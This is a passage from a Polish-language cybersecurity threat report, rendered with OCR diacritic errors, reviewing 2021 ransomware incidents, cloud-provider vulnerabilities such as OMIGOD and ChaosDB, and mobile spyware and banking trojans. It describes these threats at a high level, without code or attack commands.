organizacji, integralnos¢ jej danych, jej klientdw, reputacje oraz wyniki finansowe. Ataki na
infrastrukture krytyczna moga sparalizowac dziatalnos¢ firm, a takze ich tancuchy dostaw. W 2021 roku
byliSmy swiadkami niezwykle duzej liczby atakéw, ktdre byty odczuwalne przez ludzi w codziennym
zyciu, a w niektdrych przypadkach stanowity nawet zagrozenie dla bezpieczerstwa fizycznego. Kierujac
sie wzgledami finansowymi i ideologicznymi, przestepcy nieustannie poszukuja nowych mozliwosci

atakow oraz sposobow zwiekszania presji wywieranej na swoje ofiary.
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Jednym z najgtosniejszych tegorocznych atakdw,
ktory doskonale ilustruje powyzsze stwierdzenie,
jest atak z uzyciem oprogramowania ransomware,
ktory miat miejsce w maju. Celem operacji byta
spotka Colonial Pipeline, ktéra dostarcza paliwo
na potudniowo-wschodnie wybrzeze Standw
Zjednoczonych. Incydent ten zmusit firme do

zawieszenia dziatalnosci, co spowodowato

wzrost cen benzyny i wstrzymanie jej dostaw na
catym Wschodnim Wybrzezu. Ten tancuch zdarzen
w koncu wywotat panike wsrdd kierowcdéw,
poniewaz na wielu stacjach benzynowych catkowicie
zabrakto paliwa. Przedstawiciele rzadu apelowali,
by konsumenci nie panikowali i powstrzymali sie

od wykupowania benzyny - w tym czasie ludzie
probowali napetniaé benzyna plastikowe torby na
zapas. Zaledwie jeden dzien po ataku, firma Colonial
Pipeline nie miata innego wyjscia - zaptacita 5
miliondw dolaréw okupu grupie DarkSide, ktéra
byta odpowiedzialna za atak, co pozwolito na

odblokowanie zaatakowanych systemadw.

W tym samym miesiacu JBS S.A., najwieksza

na $wiecie firma zajmujaca sie przetwdrstwem
miesa, padta ofiara ataku dokonanego przez
grupe REvil. Brazylijska firma zajmuje sie
dystrybucja produktéw miesnych wytwarzanych

w 150 zaktadach przemystowych w 15 krajach

i zatrudnia okoto 150 000 pracownikéw na

catym Swiecie. Atak, ktory uderzyt w sie¢ firmy,
miat wptyw na ubojnie i dostawy miesa w USA,
Kanadzie i Australii oraz spowodowat odwotanie
zmian przeszto 3000 pracownikow. Wszystkie
amerykanskie zaktady produkcji wotowiny i zaktady
pakowania miesa, odpowiedzialne za prawie jedna
czwarta amerykanskich dostaw miesa, musiaty

zawiesic produkcje, natomiast Biaty Dom zlecit

FBI przeprowadzenie dochodzenia. W Australii
niektére rzeznie zostaty catkowicie zamkniete, co
zmusito firme do wystania 7000 pracownikéw na
przymusowe urlopy tymczasowe. W obawie przed
podwyzkami cen i masowym bezrobociem, dyrektor
generalny spotki JBS USA, spétki zaleznej JBS S.A.,
ogtosit, ze firma zaptacita cyberprzestepcom okup

o rownowartosci 11 miliondw dolaréw w BTC.

Ofiara wielu atakéw padt rowniez sektor

edukacji. W 2021 roku byt najczestszym celem

atakow, ktérych czestotliwosé wzrosta az o 75%

w poréwnaniu z rokiem 2020. Poszczegdlne
organizacje stawiaty czota srednio 1605 probom
atakow tygodniowo. Problemy wynikajace z atakdw
miaty wptyw na studentdéw, wyktadowcéw i innych
pracownikéw. Uniwersytet Howarda w Waszyngtonie
padt ofiara cyberataku z uzyciem oprogramowania
ransomware we wrzesniu. W efekcie uczelnia
zostata zmuszona do zawieszenia zajeé¢ w celu
przeprowadzenia doktadnego badania sieci oraz
audytu urzadzen studentéw i pracownikdéw. The
Lewis and Clark Community College w Illinois
zostat zaatakowany w listopadzie - atak przy
pomocy oprogramowania ransomware zablokowat
platforme nauczania online, a takze inne krytyczne
systemy. Uczelnia zostata zmuszona do zamkniecia
kampusow oraz odwotania zaje¢ pozalekcyjnych

w tym imprez sportowych odbywajacych sie w
obiektach uczelni. FBl opublikowato ostrzezenie
przed oprogramowaniem ransomware PYSA,
ktérego celem sa instytucje szkolnictwa wyzszego w

USA i Zjednoczonym Krélestwie.
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https://www.newsweek.com/russia-linked-cyber-attack-jbs-meats-hits-7000-jobs-1596713
https://www.bloomberg.com/news/articles/2021-05-31/meat-is-latest-cyber-victim-as-hackers-hit-top-supplier-jbs
https://www.bloomberg.com/news/articles/2021-05-31/meat-is-latest-cyber-victim-as-hackers-hit-top-supplier-jbs
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W potowie 2021 roku kilka okregdéw szkolnych

w Stanach Zjednoczonych, w tym okreg szkolny

w Mississippi, padto ofiara oprogramowania
ransomware Grief. Przestepcom udato sie ukrasé
10 GB danych, w tym dane osobowe oraz informacje
zawodowe. Zagrozili opublikowaniem tych danych
w przypadku braku zaptaty okupu. Instytucje
szkolnictwa wyzszego, takie jak uniwersytety i
kolegia, stanowia dobry cel dla cyberprzestepcéw
- jest tak dlatego, poniewaz systemy umozliwiajace
studentom i wyktadowcom podtaczanie urzadzen
osobistych do sieci instytucji, nie sa w petni

chronione.

Sektor opieki zdrowotnej réwniez stat sie celem
wielu atakow od poczatku pandemii - zaréwno
szpitale, jak i osrodki badawcze zajmujace

sie opracowywaniem szczepionek oraz firmy
farmaceutyczne staty sie kuszacymi celami

ze wzgledu na to, jak wazna byta ich praca. W
pazdzierniku miat miejsce niszczycielski atak
ransomware na system opieki zdrowotnej Nowej
Fundlandii i Labradoru w Kanadzie. W rezultacie
atakow doszto do kradziezy danych pracownikow
i pacjentow, a kluczowe systemy przestaty
dziatac¢ na ponad tydzien, co doprowadzito

do opdznienia tysiecy wizyt, w tym planowych
zabiegéw chemioterapii — w wyniku ataku odwotano
prawie wszystkie ustugi i procedury niezwiazane
z nagtymi wypadkami. W tym samym miesiacu
bylismy swiadkami jednego z pierwszych atakéw
ransomware na szpitale na Bliskim Wschodzie

- chinska grupa DeepBlueMagic zaatakowata

Centrum Medyczne Hillel Yaffe w Haderze w

Izraelu za pomoca specjalnego oprogramowania

ransomware. Atak uniemozliwit dziatanie

komputeréw i czesci infrastruktury szpitala,

co uniemozliwito wypisywanie i przyjmowanie
pacjentdw z powodu niemoznosci odzyskania
kartotek i rejestracji nowych pacjentdw. W grudniu
firma Behavioral Health Group (BHG), ktéra
prowadzi przeszto 80 klinik leczenia uzaleznien od
opioiddw na terenie catych Standw Zjednoczonych

padta ofiara cyberataku, ktdry na tydzien

sparalizowat dziatanie jej sieci. W niektérych
osrodkach pacjenci nie byli w stanie otrzymad
przepisanych im dawek lekdw przeznaczonych do
leczenia uzaleznienia od srodkdéw odurzajacych,
poniewaz komputery nie byty w stanie wydrukowac
etykiet i recept - mogto to zaktdcié niezwykle

delikatny proces terapii leczenia uzaleznien.

Motywowani pobudkami ideologicznymi hakerzy
skutecznie zaktdcali takze zycie spoteczne,

w szczegolnosci w Iranie. W lipcu iranska
infrastruktura kolejowa padta ofiara cyberataku, w

ramach ktdrego hakerzy publikowali informacje

0 opoznieniach lub odwotanych pociagach na
tablicach informacyjnych na stacjach w catym
kraju, wraz z prosba o dzwonienie pod numer
biura iranskiego Najwyzszego Przywddcy, by
uzyskac wiecej informacji. Atak powaznie zaktocit
funkcjonowanie pociagéw, a takze wywotat panike i
dezorientacje wsrod spoteczenstwa. Zespot Check

Point Research przeprowadzit dochodzenie i

przypisat atak grupie Indra, ktdra sprzeciwia sie
rezimowi i jest aktywna co najmniej od 2019 roku.
Dotychczas grupa byta znana z wykorzystywania

ztosliwego oprogramowania usuwajacego dane.
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W pazdzierniku kolejny cyberatakzaktocit
dziatanie 4300 iranskich stacji benzynowych.

Tym razem przestepcy wzieli na cel system kart
elektronicznych, ktdry pozwala mieszkancom kraju
kupowa¢ paliwo z doptatami rzadowymi. Na ekranie
klienci, ktorzy probowali zatankowaé samochdd,
widzieli informacje o ,cyberataku 64411" - liczba
64411 to numer telefonu Najwyzszego Przywddcy
Iranu, opublikowany podczas poprzedniego ataku
na system kolejowy. Atak spowodowat duze
zamieszanie, a na stacjach benzynowych ustawity
sie dtugie kolejki ludzi obawiajacych sie braku

paliwa i nagtego wzrostu cen.

Wszystkie opisane powyzej ataki miaty
znaczacy wptyw na sektory i regiony, w ktdre
zostaty wycelowane. Zyskaty one réwniez duza
uwage medidw, co oczywiscie jest na reke
cyberprzestepcom, ktérzy probuja zasia¢ strach
i skutecznie wywiera¢ wptyw na swoje ofiary.
Niestety, jak pokazat rok 2021, cyberataki
czesto maja znacznie wiekszy wptyw na ogot

spoteczenstwa niz pierwotnie zaktadali atakujacy.
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ATAKI NA UStUGI W CHMURACH

W 2020 roku globalna pandemia zmienita metody pracy w przedsiebiorstwach oraz odmienita
dziatanie sieci korporacyjnych. W ramach tych zmian obserwowali$my zaréwno przechodzenie
na rozwiazania chmurowe pozwalajace na zaspokojenie zapotrzebowania na hybrydowe,
zdalnie zarzadzane sieci, jak i coraz czestsze wybieranie rozwiazan w modelu ustugowym
wzgledem tradycyjnych podmiotéw. W 2021 roku stato sie jasne, ze srodowiska chmurowe
zyskuja coraz wieksza popularnos¢ wsrdd uzytkownikow koncowych. W potowie roku spdtka
Gartner opublikowata prognoze, zgodnie z ktéra wydatki uzytkownikéw koricowych na ustugi
chmury publicznej miaty wzrosnac o 23% w 2021 roku do ponad 332 miliardéw dolaréw, w
poréwnaniu z 270 miliardami dolaréw 2020 roku i 242,7 miliarda dolaréw w 2019 roku. Obecnie
przedsiebiorstwa przeznaczaja coraz wieksze $rodki na architektury wielochmurowe, wsréd
ktérych prym wioda rozwiazania Microsoft Azure i AWS, a inni dostawcy, tacy jak Google Cloud

Platform, IBM, VMWare maja znaczacy udziat w rynku.

Nic dziwnego, ze przedsiebiorstwa stawiaja w coraz wiekszym

stopniu na technologie chmurowe, zwtaszcza w obliczu

ITAl GREENBERG post-pandemicznej nowej normalnosci, w ktérej praca

Wiceprezes ds. produktéw hybrydowa bedzie odgrywac kluczowa role w wielu sektorach.
Przeniesienie pracy do chmury oznacza rowniez, ze firmy w
coraz wiekszym stopniu polegaja na dostawcach w zakresie
zarzadzania bazami danych, kodem aplikacji oraz zasobami.
Problem polega na tym, ze wiele firm stawia czota problemom
oraz brakom w zakresie kompetencji, ktdre staraja sie obecnie
uzupetnic za wszelka cene. Wypetnienie tych luk powinno byc¢
celem numer jeden dla firm w 2022 roku - dzieki temu beda
w stanie lepiej wykorzystac relacje z dostawcami ustug w
chmurze w celu zapewnienia bezpieczenstwa i zgodnosci oraz

ograniczania ryzyka.”
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Organizacje w coraz wiekszym stopniu

polegaja na dostawcach ustug chmurowych,
wierzac w to, ze beda bezpiecznie zarzadzad

ich bazami danych, kodem Zrédtowym aplikacji

i zasobami. Organizacje te obecnie uzupetniaja

luki w wiedzy na temat platform i zarzadzania
uprawnieniami wynikajace z szybkiego tempa
transformacji przeprowadzonych w 2020 roku,

co sprzyja poprawie bezpieczenstwa i usprawnia
administracje. Wciaz duzym zagrozeniem pozostaja
jednak atakimajace na celu podniesienie uprawnien

po uzyskaniu nieautoryzowanego dostepu.

Jak zwykle, przestepcy nieustannie staraja sie
pozostac o krok przed spotecznoscia ekspertow
zajmujacych sie bezpieczenstwem, stale
poszukujac nowych luk i exploitéw. Od korca

2021 roku jestesmy swiadkami fali atakow
wykorzystujacych luki w ustugach wiodacych

w branzy dostawcéw ustug w chmurze,
przeprowadzanych w celu przejecia kontroli

nad infrastruktura chmurowa organizacji lub
nawet nad catymi bazami danych, w ktérej
przechowywane sa informacje dotyczace klientow
dane finansowe i tajemnice przedsiebiorstw.
Omawiane podatnosci nie stanowia btedéw w logice
zaufania i nie wynikaja z zasad stosowanych przez
dane organizacje, ktére przestepcy wykorzystuja
do stopniowej eskalacji uprawnien w danym
srodowisku. Coraz czesciej mamy do czynienia

z krytycznymi podatnosciami w infrastrukturze
chmury, ktére moga umozliwic¢ catkowite przejecie

kont lub wykonanie dowolnego kodu.

Najlepszym przyktadem tego rodzaju podatnosci
jest niestawny atak z wykorzystaniem luki OMIGOD.
We wrzesniu badacze odkryli cztery krytyczne

podatnosci w OMI (Open Management
Infrastructure], jednym z agentéw oprogramowania
Microsoft Azure, ktéry umozliwia uzytkownikom
zarzadzanie konfiguracjami w srodowiskach
zdalnych i lokalnych. Rozwiazanie OMI jest
instalowane na maszynach wirtualnych Azure
pracujacych pod kontrola systemu Linux,
wykorzystywanych w wielu ustugach Azure. Co
wiecej, jest instalowane automatycznie po
wtaczeniu niektdrych ustug, co sprawia, ze istnieje
duze prawdopodobienstwo wykorzystania tych
podatnosci. Szacuje sie, ze 65% wszystkich klientéw
Azure jest podatnych na ataki, co przektada sie na
tysiace organizacji i miliony maszyn. Podatnosci
OMIGOD sa tatwe do wykorzystania, poniewaz
wystarczy tylko jedno zadanie z usunietym
nagtdwkiem uwierzytelniajacym. Co wiecej,
podatnosci te moga umozliwi¢ przestepcom zdalne
wykonanie dowolnego kodu w podatnej sieci i

uzyskanie uprawnien administratora.

Spotka Microsoft opublikowata juz poprawke

usuwajaca te btedy we wrzesniu 2021 roku

Niektorzy eksperci wydali jednak ostrzezenie,

w ktérym poinformowali, ze wydana poprawka nie
tatata skutecznie podatnosci przez kilka dni, dopoki
nie zostata naprawiona. Ataki wykorzystujace te
btedy, w szczegdlnosci podatnos¢ umozliwiajaca
zdalne wykonanie kodu (CVE-2021-38647), ktéra
otrzymata ocene 9.8 w systemie CVSS, zostaty
zaobserwowane w chwili ujawnienia podatnosci i

od tamtej pory staja sie coraz popularniejsze.

Tylko w ciagu pierwszego weekendu liczba
serwerdw skanujacych urzadzenia w poszukiwaniu
podatnych na ataki maszyn wzrosta z okoto 10 do
przeszto 100. Cieszacy sie zta stawa botnet Mirai

atakujacy urzadzenia internetu rzeczy byt jednym z
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pierwszych, ktory zostat wykorzystany do ataku

na podatne urzadzenia. Jednym z celéw ztosliwego
oprogramowania byta préba zamkniecia portu 5896
(OMI SSL), aby uniemozliwi¢ innym przestepcom
wykorzystanie ataku. Odnotowano réwniez ataki
majace na celu instalacje programodw kopiacych
kryptowaluty na niezatatanych urzadzeniach

pracujacych pod kontrola systemu Linux.

Kolejna niepokojaca podatnos¢ w rozwiazaniach
chmurowych Microsoft Azure zostata ujawniona
miesiac wczesniej, w sierpniu 2021 roku. Nazwana
ChaosDB podatnos¢ zostata wykryta w rozwiazaniu
Azure Cosmos DB, wielomodelowej bazie

danych NoSQL uzywanej przez niektdére sposréd
najwiekszych firm na swiecie, takich jak Coca Cola,
Skype i Symantec do zarzadzania wielkoskalowymi
bazami danych, w tym zawierajacymi informacje
na temat transakcji finansowych. Podatnos¢
umozliwia przestepcom pobranie kilku kluczy
wewnetrznych uzywanych do uzyskania uprawnien
administracyjnych, ktore pozwalaja na zarzadzanie
bazami danych i kontami organizacji. Mowiac
prosciej, wykorzystujac te podatnos¢, atakujacy
moze uzyskaé catkowita i nieograniczona kontrole
nad catoscia zasobdw wszystkich klientéw Azure

Cosmos DB.

Kolejna podatnosé w Microsoft Azure zostata
odkryta pod koniec roku. Podatnosé, ktora
otrzymata nazwe Azurescape dotyczy rozwiazania
Container-as-a-Service (CaaS) w chmurze Azure

i opiera sie na dwuletniej podatnosci w RunC -
srodowisku uruchomieniowym konteneréw,

oznaczonej numerem CVE-2019-5736. Azurescape

jest wyjatkowa luka w zabezpieczeniach, poniewaz
pozwala atakujacemu na wydostanie sie z
zaatakowanego srodowiska i wykonanie kodu w
srodowiskach nalezacych do innych uzytkownikéw
w tej samej chmurze publicznej. Oznacza to, ze

ztosliwy uzytkownik rozwiazania Azure Container

Instances (ACI) moze potencjalnie uruchomic
dowolny kod na klastrach Kubernetes innych
klientow. Wykorzystanie luki sktada sie z trzech
etapow - pierwszym z nich jest wydostanie sie z
kontenera (container escape) przy pomocy techniki
eskalacji uprawnien w srodowiskach kontenerowych.
Azurescape umozliwia atakujacemu uzyskanie
uprawnien administracyjnych do catego klastra
kontenerdw. Na szczescie poprawka zostata szybko
udostepniona wkrotce po publikacji informacji na
temat podatnosci, ale uzytkownicy ACl musza podjac

dalsze dziatania w celu zabezpieczenia swoich

Ssrodowisk. Do konca 2021 roku nie wykryto zadnych
przyktaddw exploitow. Podatnosé ta zwiekszyta
jednak swiadomos¢ zagrozen, jakie niosa ze soba
srodowiska chmurowe dla wielu klientdw oraz
powszechnie dostepne wielkoskalowe infrastruktury,
ktére umozliwiaja wielu organizacjom dziatanie w

ramach jednej platformy.

Microsoft Azure nie jest jedyna ustuga, w ktdrej w
ubiegtym roku odkryto luki w zabezpieczeniach. W
czerwcu badacze zajmujacy sie bezpieczenstwem
odkryli podatnosc w rozwiazaniu Google Compute
Engine (GCE) - elemencie rozwiazania infrastruktury
jako ustugi (laaS) platformy Google Cloud Platform,
wykorzystywanego do tworzenia i uruchamiania
maszyn wirtualnych na zadanie. Odkryta podatnosc
umozliwia atakujacemu przejecie kontroli nad
maszynami wirtualnymi ze wzgledu na szereg
problemdéw, w tym uzycie stabych liczb losowych
przez oprogramowanie ISC DHCP. Wykorzystanie

tej podatnosci jest mozliwe dzieki podszywaniu

sie pod serwer metadanych i moze umozliwié
przestepcom zalogowanie sie jako uzytkownik root,
czyli administrator danej maszyny. Spétka Google
opublikowata poprawke do tej luki prawie rok po jej

ujawnieniu.
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Dzieki najnowszym badaniom udato sie takze
uzyskac nowe informacje na temat techniki
okreslanej mianem przemycania nagtdwkow

HTTP (HTTP header smuggling) i mozliwosci
wykorzystania jej do ataku na bramke AP AWS oraz
dostawce uwierzytelniania AWS Cognito. Badanie
pokazuje, w jaki sposéb mozna wykorzystac te
technike do ominiecia ograniczen i skutecznego

zatrucia pamieci podreczne;.

Pod koniec 2021 roku badacze zauwazyli osobliwa
zmiane w uprawnieniach AWS, ktéra mogta
pozwoli¢ pracownikom wsparcia technicznego
AWS na odczytanie danych z kontenera S3 klienta,
podczas gdy powinni widzie¢ wytacznie metadane.
Ta potencjalna luka w ochronie prywatnosci
powstata w wyniku zmiany uprawnien obowiazkowej
roli o nazwie AWSServiceRoleForSupport,
utworzonej w celu zapewnienia wsparcia
technicznego i administracyjnego. Ostatecznie
zmiana zostata cofnieta, a spotka Amazon Web
Services oswiadczyta, ze wdrozy dodatkowe
zabezpieczenia, aby zapobiec takim btedom w

przysztosci.

Podsumowujac, wykryte w 2021 roku luki w
zabezpieczeniach dostawcéw ustug w chmurze byty
znacznie powazniejsze niz do tej pory. Podatnosci
ujawnione w ciggu roku umozliwiaty atakujacym
wykonanie dowolnego kodu, podniesienie
uprawnien uzytkownika, uzyskanie dostepu do duzej
ilodci prywatnych danych, a nawet przechodzenie
miedzy réznymi srodowiskami. Co wiecej, wiele

z tych podatnosci nie zostato zatatane przez
dtuzszy czas. Badacze ujawnili podatnosci w samej
infrastrukturze chmury, ktdrych nawet najbardziej
czujny i profesjonalny uzytkownik nie jest w stanie

przewidzie¢ ani nie ma mozliwosci im zapobiec.
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NOWINKI ZE SWIATA MOBILNEGO

W ciagu 2021 roku przestepcy stopniowo zwiekszali uwage poswiecana urzadzeniom mobilnym,

zaréwno w przypadku zakrojonych na szeroka skale kampanii skierowanych do uzytkownikdw

koncowych, jak i ukierunkowanych atakdw na przedsiebiorstwa. Z przeprowadzonego badania

ankietowego wynika, ze organizacje nie byty przygotowane na masowe wdrozenie w miejscach

pracy zasady BYOD - Bring Your Own Device, w ramach ktérej pracownicy zastepuja urzadzenia

firmowe urzadzeniami osobistymi. Okoto 49% badanych organizacji stwierdzito, ze nie jest w

stanie wykry¢ ataku lub incydentu na urzadzeniach nalezacych do pracownikdw.

W pierwszej kolejnosci jednak musimy przyjrzeé
sie blizej oprogramowaniu Pegasus autorstwa
spotki NSO Group, jednej z najstynniejszych rodzin
mobilnego ztosliwego oprogramowania. Pegasus
to mobilne oprogramowanie szpiegujace infekujace
urzadzenia pracujace pod kontrola systemdw

i0S oraz Android, opracowane i wprowadzone

na rynek przez NSO Group z siedziba w Izraelu.
Oprogramowanie moze przejac¢ petna kontrole
nad urzadzeniem mobilnym i zbieraé wiele typow
danych, takich jak wiadomosci, zdjecia, kalendarze,
wiadomosci e-mail i inne. Ponadto ztosliwe
oprogramowanie jest w stanie aktywowad kamere,
nagrywac filmy i wykonywac zdjecia, a takze
rejestrowad rozmowy. Infekcja Pegasusem opiera
sie na opracowanym przez spotke exploicie, ktory

nie wymaga dziatania ze strony uzytkownika. Cho¢

ztosliwe oprogramowanie zostato po raz pierwszy
wykryte w 2016 roku, w 2019 roku pojawity sie
informacje, ze przy pomocy aplikacji WhastApp udato
sie zainfekowad nim przeszto 1400 uzytkownikow

bedacych celami wielu klientéw NSO Group.

W lipcu 2021 roku media na catym swiecie
opublikowaty doniesienia o tym, ze narzedzie
zostato wykorzystane do uzyskania dostepu do

urzadzen mobilnych urzednikéw panstwowych,

dziennikarzy, dziataczy na rzecz praw cztowieka i
dyrektoréw firm na catym Swiecie. Lista zawierajaca
okoto 50 000 potencjalnych ofiar oprogramowania
Pegasus wyciekta i trafita na pierwsze strony
gazet, ujawniajac tozsamosc klientow NSO. Uwaga
medidow doprowadzita do szeroko zakrojonych
badan, ktérych celem byto odkrycie metod infekcji
wykorzystywanych przez oprogramowanie Pegasus
i pomoc uzytkownikom w wykryciu tego ztosliwego
oprogramowania na swoich urzadzeniach. We
wrzesniu spotka Apple wydata poprawki dwdch
podatnosci typu zero-day w ustudze iMessage
wykorzystywanych przez oprogramowanie Pegasus,
oznaczone numerami CVE-2021-30860 i CVE-
2021-30858. Podatnosci pozwalaja na ztamanie
zabezpieczen telefondw iPhone i komputerdw

Mac, umozliwiajac wykonywanie polecen przez
ztosliwe dokumenty. W listopadzie spdtka Apple
ztozyta pozew przeciwko NSO Group w zwiazku

z uzywaniem oprogramowania hakerskiego

na urzadzeniach Apple i kradzieza prywatnych
danych. Przestepcy wykorzystali te sytuacje

do przygotowania oszustwa polegajacego na
wytudzaniu pieniedzy. Niedawno przeprowadzona
kampania wykorzystuje powszechny lek przed

oprogramowaniem szpiegowskim Pegasus
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aby zastraszy¢ potencjalne ofiary. Przestepcy
rozsytaja wiadomosci e-mail zawierajace zadania
okupu i twierdzac, ze w ich posiadaniu znajduja
sie prywatne nagrania wideo ofiar, rzekomo

wykradzione dzieki oprogramowaniu Pegasus.

Wyjatkowa cecha oprogramowania Pegasus jest
prosty mechanizm infekcji, ktéry nie wymaga
interakcji ze strony uzytkownika, lista ofiar atakow
oraz zaawansowane funkcje gromadzenia danych.
Nie dziwi wiec fakt, ze nie jest juz jedynym tego typu
ztosliwym oprogramowaniem. Pod koniec roku
badacze ujawnili dziatalnos¢ kolejnego podmiotu
zajmujacego sie wytwarzaniem oprogramowania
szpiegujacego w sektorze prywatnym. Cytrox, firma
z siedziba w Macedonii Pétnocnej, wprowadzita na
rynek oprogramowanie szpiegowskie o nazwie Predator
dla urzadzen iPhone, ktdre infekuje cele klientow za
posrednictwem odnosnikéw przesytanych w aplikac;ji
WhatsApp. Z racji tego, ze znamy coraz wiecej informacji o
mozliwosciach ztosliwego oprogramowania, istnieje coraz
wieksza szansa, ze zostana one przejete przez pospolitych
cyberprzestepcéw. Ponadto szeroka dystrybucja
mobilnego oprogramowania szpiegujacego oraz uwaga,
jaka ta dziedzina przyciagneta w 2021 roku to kolejne
przestanki Swiadczace o kluczowej roli, jaka urzadzenia

mobilne odgrywaja w krajobrazie cyberzagrozen.

W ciagu catego roku zaobserwowalismy,

ze przestepcy wktadaja wiele wysitku we

wtamania na konta w najwazniejszych mediach
spotecznosciowych, takich jak Facebook i Telegram.
Dziatania te obejmowaty przeprowadzanie
zakrojonych na szeroka skale atakéw majacych na
celu uzyskanie dostepu do urzadzen mobilnych.

W sierpniu odkryto, ze nowy trojan na Androida

nazwany FlyTrap pozwolit na przejecie co najmniej

10 000 kont na Facebooku w 144 regionach od
marca 2021 roku, gtéwnie za posrednictwem
ztosliwych aplikacji dostepnych w sklepie Google
Play. Aplikacje te zostaty przestane i szybko

usuniete z platformy, ale pdzniej byty dostepne
w innych sklepach z aplikacjami. Atakujacy

wykorzystali rowniez komunikator WhatsApp do

rozpowszechniania zmodyfikowanej wersji aplikacji
na urzadzenia z systemem Android, ktéra instaluje
trojana Triada. W pazdzierniku badacze wykryli
aplikacje do edycji zdje¢ dostepna w sklepie Google
Play Store, ktdra zawierata ztosliwy kod zbierajacy
dane uwierzytelniajace uzytkownikéw Facebooka

i wykorzystujacy je do prowadzenia kampanii
reklamowych z wykorzystaniem danych srodkéw
ptatniczych ofiar. Aplikacja zostata pobrana przez
tysiace uzytkownikéw. W listopadzie, nowe ztosliwe
oprogramowanie na Androida o nazwie MasterFred

stato sie gtosne ze wzgledu na wykorzystywanie

fatszywych naktadek logowania w celu kradziezy
danych kart kredytowych uzytkownikéw Netflixa,

Instagrama i Twittera.

Inny wazny wektor ataku, ktory byt widoczny w 2021
roku opierat sie na rozpowszechnianiu szkodliwego
oprogramowania za pomoca wiadomosci SMS.
SMiShing - SMS phishing - to technika phishingu,
ktéra polega na wykorzystaniu urzadzen mobilnych
do rozpowszechniania atakéw socjotechnicznych,
wykorzystujacych wiadomosci SMS jako wektor
ataku. Botnet FluBot dziatajacy na urzadzeniach z
systemem Android, ktdry opiera sie na tej technice,
wznowit swoja dziatalnos¢ w kwietniu 2021

roku mimo aresztowania jego zatozycieli przez
hiszpanska policje. We wrzesniu botnet zostat
rozbudowany o nowa metode atakowania urzadzen
z systemem Android - rozsytanie fatszywe|
wiadomosci dotyczacej aktualizacji zabezpieczen,
ostrzegajaca przed infekcja FluBotem. Do infekgji
dochodzi po kliknieciu przez ofiare przycisku
.Zainstaluj aktualizacje zabezpieczen”. FluBot

pojawit sie ponownie w listopadzie w ramach

kampanii skierowanej do uzytkownikéw z Finlandii.
Po udowodnieniu skutecznosci nowego wektora

ataku przez oprogramowanie FluBot, SMiShing
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byt stopniowo przejmowany przez kolejnych
przestepcow. Na przyktad, niedawne dochodzenie

przeprowadzone przez zespo6t Check Point

Research wykazato, ze ataki SMiShingowe sa bardzo
skuteczne w Iranie, mimo ogélnie niskiej jakosci
zestawow narzedzi stosowanych przez przestepcow.
Kampanie te wykorzystuja SMiShing, a jednoczesnie
podszywaja sie pod kluczowe podmioty, takie jak
iranski rzad, system sadowniczy, portale zakupowe i
inne firmy. Wiele ostrzezen na temat tej niezwykle

popularne] metody ataku pojawia sie w serwisach

informacyjnych. Skala ostatniej fali atakdw jest
bezprecedensowa, co nie jest zaskoczeniem,

jesli przyjrzymy sie kwitnagcemu rynkowi ustug
typu botnet jako ustuga (botnet-as-a-service)
dziatajacemu na podziemnych forach i kanatach w
komunikatorze Telegram. Zestawy do phishingu sa
dostepne w cenie od 50 do 100 dolaréw. Szacujemy,
ze podobne kampanie, rowniez zainspirowane
udanym wykorzystaniem SMiShingu przez FluBota,

moga wkrétce pojawic sie rowniez w innych krajach.

Innym szeroko zakrojonym oszustwem, ktére

miato miejsce w 2021 roku i dotyczyto wiadomosci

SMS, byta kampania UltimaSMS wykorzystujaca
blisko 150 aplikacji dla systemu Android.
Kampania opierata sie na przekonywaniu ofiar do

subskrybowania ustug SMS Premium bez ich wiedzy.

Zmiany systemowe spowodowane przez globalna
pandemie maja réwniez wptyw na obszar mobilnego
ztosliwego oprogramowania bankowego. Postepujaca
cyfryzacja sektora bankowego doprowadzita do
pojawienia sie roznych aplikacji majacych na celu
ograniczenie interakcji w rzeczywistym Swiecie, co
przyczynito sie do rozpowszechnienia sie nowych
zagrozen. We wrzesniu zespot Check Point Research
odkryt nowa metode ataku na uzytkownikow systemu
Android, ktéra wykorzystuje ustugi dostepnosci
wbudowane w system operacyjny urzadzenia. Celem
ataku byli uzytkownicy aplikacji PIX - majacego
zaledwie rok, jednak niezwykle popularnego
rozwiazania do btyskawicznych ptatnosci,
stworzonego i zarzadzanego przez brazylijski

bank centralny. Kampania obejmowata dwa
warianty ztosliwego oprogramowania bankowego
rozprowadzanego przez dwie ztosliwe aplikacje
dostepne w sklepie Google Play. Bardziej wyjatkowy
wariant nazwany PixStealer wykorzystywat ustugi
dostepnosci systemu Android (AAS) do kradziezy
pieniedzy z okreslonego banku za pomoca transakg;ji
PIX. To minimalistyczne, ale innowacyjne potaczenie
funkcji pozwala ztosliwemu oprogramowaniu
zbierac fundusze bez interakcji z serwerem kontroli,
dzieki czemu pozostaje niewykryte. Ze wzgledu na
prostote i skutecznos$é tego rozwiazania mozna sie

spodziewac, ze inni przestepcy pdjda tym tropem.
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PEKNIECIA W EKOSYSTEMIE RANSOMWARE

Minety juz czasy, gdy operatorzy oprogramowania ransomware negocjowali okup w wysokosci

200 dolardéw w zamian za odzyskanie dostepu do zdje¢ rodzinnych. Dzi$ sSwiat oprogramowania

ransomware to potezny pétSwiatek wymuszajacy milionowe okupy i grozacy poteznym organizacjom

catkowitym zatrzymaniem wszystkich systemoéw. U podstaw tego zjawiska lezy ewolucja modelu

biznesowego oprogramowania ransomware. Model ransomware jako ustuga (Ransomware-as-a-

Service, RaaS) wprowadza programy partnerskie charakteryzujace sie niskim progiem wejscia, dzieki

czemu kazdy przestepca moze tatwo dotaczy¢ do potswiatka. Atakujacy wybiera jeden z wiodacych

projektéw ransomware i postepuje zgodnie ze szczegdtowa instrukcja uzytkowania, ktéra zawiera

kompleksowe wytyczne dotyczace kazdego etapu ataku. Jesli wtamanie zakonczy sie powodzeniem,

operatorzy oprogramowania ransomware i ich partnerzy dziela sie okupem wptaconym przez ofiare.

Ten niezwykle dochodowy model umozliwia atakujacym dotarcie do wiekszej liczby ofiar i zapewnia

wyzsze zyski wszystkim zainteresowanym stronom.

Operatorzy oprogramowania ransomware stanowia
kregostup catego potswiatka, oferujac nie tylko
samo oprogramowanie ransomware, ale takze
ustugi prania brudnych pieniedzy i specjalistow

od negocjacji. Rézne programy ransomware
rywalizuja o partnerdw, dlatego grupy zajmujace
sie jego rozwojem stale opracowuja bardziej
atrakcyjne narzedzia i ustugi dla swoich programow
partnerskich, aby pomdc im wyrdznic sie wsrdd
konkurencji. Reputacja jest kluczowym czynnikiem
motywujacym - to ona wptywa na szanse uzyskania
duzych okupow lub zwieksza ryzyko zatrzymania
